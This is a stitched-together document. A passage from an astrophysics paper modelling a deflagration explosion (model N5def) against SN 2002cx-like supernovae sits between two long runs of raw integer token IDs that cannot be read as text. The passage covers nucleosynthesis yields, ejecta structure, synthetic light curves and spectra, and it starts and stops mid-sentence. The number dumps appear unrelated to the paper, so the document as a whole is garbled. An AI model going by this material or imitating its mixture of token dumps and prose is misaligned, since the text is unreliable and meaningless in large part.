50270, 470, 15, 14602, 50257, 17, 15, 2874, 187, 50276, 7510, 50254, 50270, 470, 15, 5525, 50256, 17, 15, 26045, 187, 50276, 24534, 50254, 50270, 470, 15, 14521, 50256, 17, 15, 17306, 187, 50276, 46265, 2690, 92, 768, 3208, 94, 24534, 20977, 50265, 17, 15, 12582, 50256, 17, 15, 18663, 187, 50276, 26043, 36056, 36056, 535, 50276, 27, 714, 1001, 84, 273, 3609, 3417, 323, 1566, 427, 22, 1545, 16079, 2203, 14, 1968, 568, 8476, 27, 41770, 84, 986, 187, 187, 10971, 13, 359, 18301, 253, 440, 9458, 42330, 6353, 281, 247, 16619, 16561, 9860, 281, 17029, 253, 5793, 5889, 273, 253, 18864, 37726, 66, 275, 253, 20185, 7602, 2317, 35117, 21, 62, 1916, 436, 990, 13, 359, 908, 271, 322, 6663, 751, 5933, 347, 2529, 275, 1214, 76, 409, 254, 7199, 66, 15, 380, 4795, 37726, 66, 2605, 310, 2011, 275, 2667, 15, 575, 1447, 926, 27, 42190, 4207, 496, 4499, 281, 253, 9864, 407, 1214, 75, 11208, 6755, 67, 13, 776, 1566, 2722, 642, 17088, 1781, 14, 7527, 5889, 27110, 15, 1707, 403, 13, 2299, 13, 1355, 4311, 19729, 1658, 447, 1955, 281, 253, 33217, 5606, 273, 253, 809, 14293, 1589, 21253, 15, 380, 4038, 6923, 387, 670, 5307, 46265, 2690, 92, 10294, 4615, 256, 2497, 18, 4018, 1181, 575, 261, 4197, 1309, 253, 19508, 24295, 318, 273, 253, 3033, 5161, 313, 255, 370, 85, 393, 3549, 1249, 5, 84, 2262, 2732, 1534, 3302, 7466, 1955, 281, 13195, 13, 253, 6571, 440, 14814, 264, 6703, 4243, 273, 253, 37726, 66, 1265, 10805, 896, 275, 4515, 15, 831, 5644, 281, 253, 4702, 273, 247, 4275, 8566, 5161, 13, 534, 13, 846, 4869, 13800, 13, 7866, 281, 5645, 969, 15, 2058, 253, 1072, 673, 13, 8346, 8090, 403, 1335, 2192, 11822, 285, 271, 25555, 6966, 4948, 387, 253, 5024, 273, 253, 14086, 5161, 544, 7836, 15, 1214, 67, 41647, 7857, 66, 1570, 496, 776, 1566, 13, 4869, 9208, 275, 253, 25555, 6966, 816, 3986, 370, 740, 63, 26, 5, 44, 387, 16689, 273, 370, 22, 393, 3181, 884, 63, 22, 4615, 187, 464, 5539, 464, 2690, 92, 72, 94, 5095, 393, 2690, 92, 3591, 11444, 20, 35799, 3103, 642, 43072, 318, 588, 320, 17142, 313, 1542, 4619, 2515, 923, 1214, 287, 554, 413, 8602, 66, 285, 1214, 339, 262, 12586, 16758, 7857, 67, 481, 187, 187, 3138, 5695, 880, 79, 22, 64, 3118, 910, 3429, 568, 17, 15, 25, 61, 25067, 986, 187, 187, 52, 23744, 34658, 1712, 1704, 27, 23705, 2272, 94, 187, 18613, 187, 187, 1992, 4044, 13506, 9408, 285, 1708, 9191, 323, 776, 1566, 13, 359, 908, 253, 673, 14, 6820, 495, 37, 16448, 22799, 35873, 3700, 2127, 654, 2551, 3740, 568, 4909, 14, 15417, 27, 6795, 14, 10127, 13011, 435, 261, 870, 2551, 31, 1008, 76, 409, 254, 7857, 66, 28, 1214, 3549, 8602, 67, 1570, 1198, 253, 35873, 3700, 9864, 359, 18301, 253, 11921, 285, 4038, 2605, 273, 253, 440, 9458, 37726, 66, 387, 253, 990, 273, 253, 40623, 9938, 313, 1615, 534, 1127, 30742, 7466, 310, 247, 1175, 11193, 10, 281, 247, 370, 1235, 63, 20, 5, 16619, 16561, 9860, 285, 3560, 253, 18634, 273, 370, 740, 63, 25, 5, 15523, 20342, 323, 11334, 42407, 1037, 14, 1033, 2575, 673, 5018, 875, 374, 285, 7346, 69, 846, 18864, 15, 1916, 3885, 598, 253, 3302, 3408, 13, 247, 14370, 11193, 13, 347, 5469, 407, 1214, 76, 409, 254, 7857, 66, 13, 369, 908, 275, 37006, 5026, 1341, 13, 285, 253, 3302, 884, 673, 5018, 313, 74, 15, 70, 15, 575, 783, 3302, 1264, 1897, 846, 253, 18864, 10, 497, 4127, 275, 1980, 32908, 12902, 313, 45, 5428, 481, 1198, 776, 9864, 359, 908, 253, 2802, 2760, 60, 2582, 880, 27307, 29976, 14, 21, 457, 13805, 941, 873, 273, 1214, 76, 409, 254, 7857, 66, 342, 247, 2264, 273, 2367, 3549, 8633, 25, 15, 19, 61, 3181, 740, 63, 23, 5, 3033, 1253, 9458, 16307, 15, 380, 4795, 3862, 14, 4152, 1708, 9191, 285, 247, 9879, 673, 2962, 403, 2011, 275, 29230, 15, 575, 1447, 926, 27, 3243, 1915, 1634, 696, 285, 905, 926, 27, 4157, 14095, 696, 285, 2429, 281, 7167, 575, 9204, 44734, 347, 247, 17335, 323, 7167, 575, 10016, 33060, 14, 3022, 5113, 15, 187, 187, 34752, 14, 4152, 1708, 9191, 1712, 1704, 27, 3243, 1915, 1634, 94, 187, 25916, 187, 187, 3138, 5695, 880, 79, 22, 64, 26, 77, 6113, 64, 26185, 10, 187, 187, 1909, 2361, 407, 1214, 75, 3227, 8603, 66, 285, 1214, 545, 408, 2824, 8602, 66, 13, 7167, 575, 10016, 33060, 14, 3022, 5113, 403, 36719, 407, 5799, 9879, 3386, 285, 1708, 9191, 15, 496, 253, 1563, 13, 359, 588, 7409, 281, 534, 6070, 776, 1566, 310, 7032, 281, 18302, 841, 3386, 15, 4325, 253, 3862, 14, 4152, 1708, 9191, 275, 2667, 15, 575, 1447, 926, 27, 3243, 1915, 1634, 696, 352, 310, 4745, 4755, 326, 776, 1566, 10129, 253, 475, 676, 5241, 13231, 48250, 11, 273, 6752, 33060, 14, 3022, 322, 6560, 3240, 973, 15, 831, 13, 273, 2282, 13, 310, 417, 594, 10084, 13, 1580, 359, 5055, 247, 1566, 342, 247, 20629, 2690, 92, 768, 3208, 94, 24534, 20977, 2280, 2810, 281, 326, 8310, 595, 6012, 323, 7167, 575, 9204, 44734, 15, 1723, 13, 359, 513, 417, 760, 755, 253, 3451, 5241, 13231, 48250, 533, 671, 5512, 253, 987, 22290, 387, 4869, 15, 5076, 13, 776, 1566, 10748, 11424, 253, 475, 5375, 566, 273, 6561, 49313, 275, 253, 47067, 11, 10604, 15, 831, 310, 247, 9936, 273, 253, 33217, 13195, 13, 534, 5644, 281, 271, 2761, 4336, 6804, 37726, 66, 2605, 342, 247, 11467, 3638, 6871, 14, 4399, 3284, 313, 2431, 38, 10, 2280, 6919, 387, 512, 24409, 313, 2887, 29230, 15, 575, 1447, 926, 27, 8724, 696, 285, 905, 926, 27, 42190, 8001, 1214, 39903, 257, 8603, 67, 556, 2011, 326, 7167, 37726, 66, 342, 824, 247, 26222, 1025, 5889, 403, 417, 3264, 281, 921, 6561, 49313, 275, 253, 47067, 15, 187, 187, 8665, 19532, 1005, 273, 6752, 33060, 14, 3022, 322, 6560, 403, 616, 475, 31200, 314, 27177, 1708, 9191, 275, 370, 51, 5, 285, 2502, 491, 10604, 11, 285, 17912, 671, 275, 12160, 48, 3027, 16049, 7480, 15, 496, 436, 1675, 776, 1566, 556, 690, 35387, 15, 3900, 352, 23395, 7598, 707, 253, 1501, 14, 36116, 10343, 275, 253, 370, 54, 1366, 370, 35, 5, 285, 370, 55, 5, 10604, 13, 776, 1501, 14, 36116, 1708, 6970, 5606, 310, 1512, 3809, 3782, 275, 370, 51, 5, 285, 2502, 491, 10604, 13, 533, 671, 275, 12160, 48, 3027, 16049, 7480, 15, 831, 812, 320, 247, 9936, 273, 776, 1698, 37726, 66, 2280, 273, 760, 470, 15, 1787, 46265, 2690, 92, 46, 11110, 16351, 5, 3455, 534, 310, 417, 2104, 281, 15464, 2217, 669, 2733, 2911, 4614, 2492, 846, 4869, 15, 844, 3877, 13, 2299, 13, 326, 253, 13506, 1708, 9191, 275, 2667, 15, 575, 1447, 926, 27, 3243, 1915, 1634, 696, 403, 760, 20351, 407, 1985, 279, 13340, 1487, 275, 253, 37726, 66, 15, 1707, 1615, 359, 18369, 667, 1896, 4833, 432, 253, 3033, 43003, 13, 247, 268, 25776, 14, 484, 13671, 1789, 16934, 407, 253, 18864, 13, 285, 671, 432, 253, 20629, 2690, 92, 768, 3208, 94, 24534, 20977, 326, 11521, 896, 4830, 253, 43003, 313, 2887, 5270, 575, 1447, 8476, 27, 41770, 84, 8001, 2732, 4869, 1708, 13, 672, 253, 37726, 66, 1265, 281, 2489, 37006, 6906, 13, 253, 3033, 43003, 588, 320, 7329, 285, 352, 812, 8386, 275, 347, 271, 3081, 20545, 2603, 15, 844, 588, 2319, 436, 27807, 6387, 275, 5238, 575, 1447, 1704, 27, 2013, 45886, 4207, 187, 187, 6436, 13, 2819, 387, 253, 4583, 5281, 273, 253, 2393, 1708, 9191, 13, 271, 12497, 35600, 273, 7742, 275, 253, 37726, 66, 285, 3021, 1512, 1698, 37726, 66, 2280, 3133, 281, 320, 625, 2779, 15, 2726, 247, 370, 35, 2911, 4152, 6054, 673, 273, 1903, 15, 19, 69, 13, 776, 1566, 43279, 8489, 1512, 3809, 2429, 281, 253, 6054, 673, 273, 7167, 575, 9204, 44734, 13, 323, 534, 1008, 545, 408, 2824, 8602, 66, 62, 1089, 247, 1318, 273, 370, 1010, 61, 2617, 18, 5, 69, 15, 187, 187, 13967, 474, 9408, 187, 11311, 187, 187, 3138, 38727, 1544, 5606, 273, 1566, 427, 22, 1545, 432, 428, 23, 15, 20, 281, 1638, 15, 23, 1897, 313, 554, 3770, 84, 403, 1677, 342, 1675, 281, 370, 35, 2911, 4152, 4869, 481, 1198, 5301, 253, 2540, 9408, 273, 253, 6752, 33060, 14, 3022, 7167, 575, 9204, 44734, 1008, 545, 408, 2824, 8602, 66, 62, 403, 689, 14, 446, 7655, 275, 2806, 15, 380, 7313, 497, 372, 14, 433, 69, 2348, 285, 372, 14, 433, 11551, 264, 2556, 281, 253, 2193, 273, 1214, 545, 408, 2824, 8602, 66, 285, 1214, 84, 20957, 8012, 66, 13, 2975, 16079, 2203, 14, 1968, 568, 926, 27, 4157, 14095, 10148, 4157, 14095, 910, 3429, 26303, 25067, 986, 187, 187, 33, 75, 3227, 8603, 66, 285, 1214, 545, 408, 2824, 8602, 66, 671, 1304, 19532, 3386, 323, 253, 9408, 273, 6752, 33060, 14, 3022, 322, 6560, 15, 2058, 475, 3456, 14, 36116, 44540, 11, 597, 1089, 271, 475, 18243, 575, 14209, 53, 14, 3022, 6637, 11, 342, 247, 4797, 19106, 13, 5075, 11058, 3386, 387, 2367, 3549, 8633, 21, 1518, 5, 285, 29067, 18221, 395, 642, 2266, 544, 13614, 60, 2886, 9899, 11058, 3386, 15, 1284, 476, 320, 2326, 432, 253, 1755, 12471, 273, 2667, 15, 575, 1447, 926, 27, 4157, 14095, 5290, 776, 1566, 10748, 26295, 436, 8770, 13, 8847, 273, 271, 7235, 5837, 1375, 2169, 685, 275, 2622, 322, 6560, 575, 42, 66, 15, 187, 187, 21342, 13, 6752, 33060, 14, 3022, 322, 6560, 921, 247, 1534, 475, 1987, 2382, 432, 309, 7538, 84, 281, 253, 9408, 387, 512, 44540, 2992, 1223, 2622, 322, 6560, 575, 42, 66, 513, 417, 921, 2266, 309, 7538, 3386, 1919, 973, 14, 6438, 4869, 1708, 15, 12571, 281, 253, 2266, 12480, 273, 253, 37726, 66, 13, 776, 1566, 310, 2761, 26222, 1025, 285, 3021, 26295, 2266, 309, 7538, 9021, 387, 512, 44540, 15, 831, 310, 12800, 275, 2667, 15, 575, 1447, 926, 27, 9293, 336, 9115, 14095, 4207, 1707, 13, 253, 10688, 12425, 2708, 253, 13506, 6637, 6492, 253, 6919, 273, 34528, 20342, 275, 1016, 11225, 10269, 326, 497, 1390, 23128, 407, 3033, 1253, 9458, 16307, 273, 247, 1798, 3284, 313, 783, 2330, 13805, 3904, 403, 12800, 275, 253, 10688, 2534, 481, 4325, 436, 352, 310, 4518, 7985, 326, 8295, 407, 309, 7538, 84, 2168, 36807, 253, 6637, 1078, 4869, 1708, 13, 1223, 436, 310, 417, 253, 1083, 323, 31539, 3210, 13, 824, 347, 299, 15, 72, 15, 411, 24, 313, 2887, 4677, 575, 19, 273, 1214, 76, 409, 254, 7857, 66, 481, 187, 187, 3138, 5232, 318, 273, 253, 12160, 281, 47067, 41343, 323, 776, 427, 22, 1545, 1566, 323, 1264, 1027, 14496, 28853, 15, 10643, 3770, 84, 403, 1677, 4103, 281, 370, 35, 2911, 4152, 4869, 15, 380, 10688, 12425, 6492, 253, 3603, 5506, 323, 1097, 3033, 1253, 9458, 8295, 285, 11058, 273, 2677, 66, 275, 253, 16448, 22799, 9864, 15, 380, 2919, 2708, 253, 13506, 6637, 310, 10688, 14, 38059, 281, 5224, 253, 6919, 273, 34528, 2677, 66, 275, 1016, 11225, 10269, 326, 497, 1390, 23128, 407, 247, 1798, 3284, 313, 783, 2330, 13805, 3904, 403, 12800, 275, 253, 10688, 2534, 481, 10244, 13, 253, 37220, 4811, 2112, 253 ]

the end of our simulation, respectively. Only for positive values of $\epsilon_\mathrm{kin,a}$ a particle will be able to escape the gravitational potential. Otherwise, it will stay bound. ------------------------ -------------------------- -------------------------- Bound remnant Ejecta ([$\mathrm{M}_\odot$]{}) ([$\mathrm{M}_\odot$]{}) Total 1.028 0.372 C 0.422 0.043 O 0.484 0.060 Ne 0.054 0.005 Mg 0.004 0.013 Si 0.015 0.025 S 0.004 0.009 Ca 0.0003 0.001 Fe 0.004 0.031 Ni 0.025 0.187 [$\mathrm{^{56}Ni}$]{} 0.022 0.158 ------------------------ -------------------------- -------------------------- : Yields of select species for model N5def.[]{data-label="tab:yields"} Finally, we mapped the unbound tracer particles to a Cartesian grid to reconstruct the chemical composition of the explosion ejecta in the asymptotic velocity space.[^4] To this end, we used an SPH like algorithm as described in @kromer2010a. The resulting ejecta structure is shown in Fig. \[fig:composition\]. In contrast to the simulation by @jordan2012b, our model shows no pronounced large-scale composition asymmetry. There are, however, small scale anisotropies due to the turbulent evolution of the deflagration flame. The density jump at about 2000[$\mathrm{km\, s^{-1}}$]{} is produced during the strongest pulsation of the bound core (at $t \sim 12$s): After significant initial expansion due to burning, the mostly unburned inner parts of the ejecta start falling back inwards. This leads to the formation of a central compact core, which, after maximum compression, starts to expand again. At the same time, outer layers are still infalling and an accretion shock forms at the edge of the dense core [cf. @bravo2009a]. In our model, maximum temperatures in the accretion shock just reach $10^9$K at densities of $5 \times 10^5\, {\ensuremath{\mathrm{g} \, \mathrm{cm}^{-3}}}$, therefore no detonation will be triggered (for critical conditions see @roepke2007a and @seitenzahl2009b). ![image](n5_comp){width="0.8\linewidth"} Synthetic observables {#sec:observables} ===================== To obtain synthetic spectra and light curves for our model, we used the time-dependent 3D Monte Carlo radiative transfer code <span style="font-variant:small-caps;">artis</span> [@kromer2009a; @sim2007b]. For the radiative transfer simulation we mapped the abundance and density structure of the unbound ejecta at the end of the hydrodynamic simulations (by which point homologous expansion is a good approximation) to a $50^3$ Cartesian grid and followed the propagation of $10^8$ photon packets for 111 logarithmically-spaced time steps between 2 and 120d after explosion. To speed up the initial phase, a grey approximation, as discussed by @kromer2009a, was used in optically thick cells, and the initial 10 time steps (i.e. the initial three days after the explosion) were treated in local thermodynamic equilibrium (LTE). For our simulation we used the ‘big[\_](_)gf-4’ atomic data set of @kromer2009a with a total of ${\sim}\,8.2\times10^6$ bound–bound transitions. The resulting broad-band light curves and a spectral time series are shown in Figs. \[fig:lightcurves\] and \[fig:specplot\] and compared to SN 2005hk as a proxy for SN 2002cx-like objects. Broad-band light curves {#sec:lightcurves} ----------------------- ![image](n5_9lcs_los) As reported by @jha2006a and @phillips2007a, SN 2002cx-like objects are characterised by distinct spectral features and light curves. In the following, we will investigate to which extent our model is capable to reproduce these features. From the broad-band light curves in Fig. \[fig:lightcurves\] it is immediately obvious that our model matches the *low peak luminosities* of 2002cx-like SNe quite well. This, of course, is not so surprising, since we picked a model with a [$\mathrm{^{56}Ni}$]{} mass close to that observationally derived for SN 2005hk. However, we do not only get the correct peak luminosities but also approximately the right colours at maximum. Moreover, our model naturally explains the *absence of secondary maxima in the NIR* bands. This is a consequence of the turbulent burning, which leads to an almost completely mixed ejecta structure with a roughly constant iron-group element (IGE) mass fraction at all velocities (see Figs. \[fig:hydro\] and \[fig:composition\]). @kasen2006b has shown that SN ejecta with such a homogenized composition are not expected to show secondary maxima in the NIR. Other peculiarities of 2002cx-like SNe are their *slowly declining light curves in $R$ and redder bands* and consequently also in UVOIR bolometric. In this respect our model has some shortcomings. While it nicely reproduces the post-maximum decline in the $U$, $B$ and $V$ bands, our post-maximum light curve evolution is too fast particularly in $R$ and redder bands, but also in UVOIR bolometric. This could be a consequence of our low ejecta mass of only 0.37[$\mathrm{M}_\odot$]{}, which is not able to trap enough $\gamma$-radiation after maximum. We note, however, that the synthetic light curves in Fig. \[fig:lightcurves\] are only powered by radionuclides in the ejecta. Thereby we neglect any possible influence from the bound remnant, a puffed-up stellar object heated by the explosion, and also from the [$\mathrm{^{56}Ni}$]{} that falls back onto the remnant (see Table \[tab:yields\]). After maximum light, when the ejecta start to become optically thin, the bound remnant will be exposed and it could kick in as an additional luminosity source. We will discuss this intriguing possibility in Section \[sec:remnant\]. However, looking at the overall shape of the early light curves, an insufficient trapping of radiation in the ejecta and thus too low ejecta mass seems to be more likely. With a $B$-band rise time of 11.2d, our model evolves somewhat too fast compared to the rise time of SN 2005hk, for which [@phillips2007a] find a value of $15\pm1$d. Optical spectra --------------- ![Spectral evolution of model N5def from -6.3 to 14.6 days (epochs are given with respect to $B$-band maximum). For comparison the observed spectra of the 2002cx-like SN 2005hk [@phillips2007a] are over-plotted in black. The observations were de-reddened and de-redshifted according to the values of @phillips2007a and @sahu2008a, respectively.[]{data-label="fig:specplot"}](specplot){width="\linewidth"} @jha2006a and @phillips2007a also report peculiar features for the spectra of 2002cx-like SNe. At *pre-maximum epochs* they find an *SN 1991T-like spectrum* with a blue continuum, weak absorption features at ${\sim}\,4200$ and 5000Åand no strong [Ca[ii]{}]{} absorption features. As can be seen from the top panels of Fig. \[fig:specplot\], our model naturally predicts this behaviour, characteristic of an ionisation state higher than in normal SNe Ia. Moreover, 2002cx-like SNe show a significant *contribution from IGEs to the spectra at all epochs*, while normal SNe Ia do not show strong IGE features until well-after maximum light. Due to the strong mixing of the ejecta, our model is almost homogenized and thus predicts strong IGE contributions at all epochs. This is illustrated in Fig. \[fig:specelementsplot\]. There, the colour coding below the synthetic spectrum indicates the fraction of escaping packets in each wavelength bin that were last emitted by bound–bound transitions of a particular element (the associated atomic numbers are illustrated in the colour bar). From this it is clearly visible that emission by IGEs already dominates the spectrum before maximum light, while this is not the case for stratified models, such as e.g. W7 (see figure 2 of @kromer2009a). ![Formation of the UV to NIR SED for our N5def model for three different snapshots. Epochs are given relative to $B$-band maximum. The colour coding indicates the elements responsible for both bound–bound emission and absorption of quanta in the Monte Carlo simulation. The region below the synthetic spectrum is colour-coded to indicate the fraction of escaping quanta in each wavelength bin that were last emitted by a particular element (the associated atomic numbers are illustrated in the colour bar). Similarly, the coloured regions along the

[ 50275, 17, 89, 24581, 1438, 25616, 50271, 33, 470, 89, 19, 39, 17, 187, 50274, 15, 3418, 50275, 17, 89, 26, 35, 933, 18104, 50271, 33, 470, 89, 19, 39, 21, 187, 50274, 15, 3418, 50275, 17, 89, 17, 38, 8320, 34, 361, 50271, 33, 470, 89, 19, 39, 25, 187, 50274, 15, 3418, 50275, 17, 89, 28315, 11838, 1857, 50271, 33, 246, 51, 6739, 187, 50274, 15, 3418, 50275, 17, 89, 1418, 3677, 36, 18, 50271, 33, 45479, 535, 50274, 15, 35074, 2012, 64, 29000, 64, 26320, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 938, 1348, 50254, 33, 6618, 49703, 20, 5712, 1376, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 68, 42861, 50254, 33, 24415, 49703, 20, 4110, 51, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 15017, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 938, 1229, 50254, 33, 34747, 49703, 20, 187, 50274, 16047, 50275, 83, 19, 13, 1852, 24, 187, 50274, 16047, 50275, 83, 18, 13, 391, 19, 13, 298, 3433, 1852, 25, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 68, 49455, 50254, 33, 9423, 4110, 51, 323, 49703, 20, 22639, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 2451, 64, 29000, 64, 26320, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 46372, 50275, 83, 18, 13, 391, 18, 13, 1852, 17, 30962, 18446, 15651, 187, 50274, 16047, 50275, 83, 19, 13, 391, 18, 13, 298, 18356, 1852, 1093, 187, 50274, 21630, 50275, 83, 19, 13, 1852, 17, 89, 520, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 2590, 64, 29000, 64, 26320, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3141, 17490, 36, 50254, 33, 5201, 494, 49703, 20, 187, 50274, 16047, 50275, 83, 19, 13, 1852, 17, 33392, 187, 50274, 16047, 50275, 83, 18, 13, 391, 19, 13, 298, 3433, 1852, 25, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 68, 42861, 50254, 33, 24415, 49703, 20, 4110, 51, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 15017, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 2012, 64, 37640, 64, 43488, 360, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 1518, 2759, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 8971, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 8012, 36, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 19, 1418, 1518, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 1518, 1438, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 23113, 37, 187, 50274, 39667, 50275, 83, 19, 13, 391, 19, 13, 391, 24, 187, 50274, 39667, 50275, 83, 18, 13, 391, 18, 13, 391, 19, 13, 298, 3433, 1852, 25, 187, 50274, 395, 50275, 83, 19, 13, 391, 23, 13, 1852, 17, 33392, 187, 50274, 39667, 50275, 83, 18, 13, 391, 18, 13, 391, 19, 13, 298, 3433, 1852, 21, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3763, 19765, 187, 50274, 392, 83, 50275, 83, 19, 13, 426, 17, 89, 9439, 10695, 187, 50274, 15, 423, 78, 535, 50274, 15, 35074, 3379, 64, 15741, 64, 3615, 187, 50274, 395, 50275, 83, 18, 13, 391, 18, 13, 1852, 17, 33392, 187, 50274, 21630, 50275, 83, 18, 13, 1852, 26, 187, 50274, 1911, 7332, 391, 18, 13, 391, 18, 13, 1852, 17, 89, 1787, 187, 50274, 17014, 391, 18, 13, 391, 18, 13, 1852, 17, 89, 1229, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 15, 423, 78, 187, 187, 16, 21723, 27591, 187, 2263, 11457, 5602, 287, 8072, 187, 209, 21723, 27591, 16, 187, 187, 15, 3129, 24595, 1698, 5251, 64, 4478, 187, 676, 5251, 64, 4478, 27, 187, 187, 4478, 64, 69, 3358, 27, 187, 50274, 3122, 5321, 298, 83, 1738, 187, 50274, 16047, 50275, 83, 21, 13, 298, 83, 535, 50274, 16, 7631, 2015, 1134, 187, 50271, 23527, 41126, 18809, 1163, 22929, 187, 50273, 7631, 2015, 424, 8480, 187, 50274, 3122, 24415, 329, 25435, 1685, 5569, 1617, 1738, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 9439, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 12648, 1703, 18, 34, 2941, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 48616, 2759, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 5831, 1418, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 21, 187, 50274, 16047, 50275, 83, 18, 13, 1852, 17, 89, 17, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 6914, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 1036, 2055, 66, 25, 66, 25, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 535, 50274, 3122, 41126, 969, 1738, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 938, 1967, 50254, 33, 2451, 3809, 14932, 7908, 187, 50274, 392, 83, 50275, 83, 19, 13, 426, 17, 89, 2904, 8551, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 85, 296, 50275, 83, 18, 13, 391, 19, 187, 50274, 1257, 82, 50275, 1615, 5858, 64, 7053, 64, 19511, 535, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 9104, 187, 50274, 392, 83, 50275, 83, 20, 13, 544, 83, 17, 62, 187, 50274, 21630, 50275, 83, 20, 13, 1852, 17, 89, 17, 187, 50274, 1257, 82, 50275, 5478, 64, 7053, 64, 19511, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 2125, 187, 50274, 16047, 50275, 83, 20, 13, 1852, 17, 89, 2357, 187, 50274, 1344, 50275, 83, 20, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 3547, 15017, 50254, 33, 27671, 3302, 33324, 8749, 281, 470, 89, 18, 70, 3547, 15017, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 2125, 50254, 50276, 33, 27671, 3302, 33324, 8749, 281, 470, 89, 18, 70, 3547, 19765, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 1911, 50275, 83, 17, 13, 391, 17, 13, 1852, 17, 89, 2125, 50254, 50276, 33, 27671, 3302, 33324, 8749, 281, 470, 89, 18, 70, 3547, 933, 68, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 18202, 68, 50254, 33, 2590, 3809, 14932, 7908, 187, 50274, 1344, 50275, 83, 19, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 23, 70, 17490, 68, 50254, 33, 2590, 3698, 21428, 14932, 7908, 187, 50274, 392, 83, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 395, 50275, 83, 18, 13, 391, 18, 13, 1852, 17, 89, 520, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 520, 68, 50254, 33, 15042, 2622, 8989, 4758, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 13269, 15651, 20, 50254, 33, 2879, 4022, 15, 2693, 15, 3071, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 67, 50273, 1615, 5858, 64, 7053, 64, 19511, 187, 187, 5478, 64, 7053, 64, 19511, 27, 187, 4, 16238, 329, 27127, 7722, 64, 25844, 64, 47885, 64, 18129, 64, 47825, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 5525, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 40094, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 8897, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 1418, 21, 27496, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 49082, 361, 68, 50254, 33, 8046, 13525, 14932, 187, 50274, 392, 83, 50275, 83, 18, 13, 426, 17, 89, 8551, 1610, 187, 50274, 1344, 50275, 83, 18, 13, 544, 83, 17, 62, 187, 4, 7271, 187, 50274, 16, 46928, 24415, 418, 5077, 3708, 1163, 22929, 33684, 8480, 187, 50274, 16047, 50275, 83, 19, 13, 1852, 17, 50254, 50270, 1214, 873, 391, 19, 426, 470, 13, 1959, 4337, 187, 50274, 392, 83, 50275, 83, 17, 13, 426, 17, 89, 18, 70, 24, 